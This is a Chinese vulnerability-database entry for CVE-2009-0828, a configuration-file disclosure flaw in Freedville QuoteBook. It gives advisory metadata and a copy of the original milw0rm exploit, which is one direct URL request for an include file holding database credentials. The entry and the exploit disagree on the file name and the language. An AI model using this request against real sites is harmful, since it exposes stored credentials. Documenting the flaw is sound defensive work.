Freedville QuoteBook 'quotes.inc'敏感信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117210 漏洞类型 权限许可和访问控制
发布时间 2009-01-07 更新时间 2009-03-21
CVE编号 CVE-2009-0828 CNNVD-ID CNNVD-200903-105
漏洞平台 PHP CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/7699
https://cxsecurity.com/issue/WLB-2009030128
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-105
|漏洞详情
QuoteBook是一个网站留言薄开发工具。QuoteBook在网站根目录下的quotes.inc,但没有赋予足够的访问控制,这会允许远程攻击者可以借助提交一个直接的请求,下载包含用户凭证的数据库文件。
|漏洞EXP
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================

==============================================================================
    QuoteBook Remote Config File Disclosure Vulnerability
==============================================================================

	[»] Script:             [ QuoteBook ]
	[»] Language:           [ ASP ]
	[»] Website:            [ http://www.freedville.com/oss/download.php?package=QuoteBook ]
	[»] Founder:            [ Moudi <m0udi@9.cn> ]
        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , and all hackers... ]

###########################################################################

===[ Exploit ]===	
	
	[»] http://localhost/[path]/poll.inc

              $dbhost = "";
              $dbusername = "";
              $dbuserpass = "";
              $default_dbname = ";


Author: Moudi

###########################################################################

# milw0rm.com [2009-01-07]
|参考资料

来源:BID
名称:33166
链接:http://www.securityfocus.com/bid/33166
来源:MILW0RM
名称:7699
链接:http://www.milw0rm.com/exploits/7699
来源:SECUNIA
名称:33420
链接:http://secunia.com/advisories/33420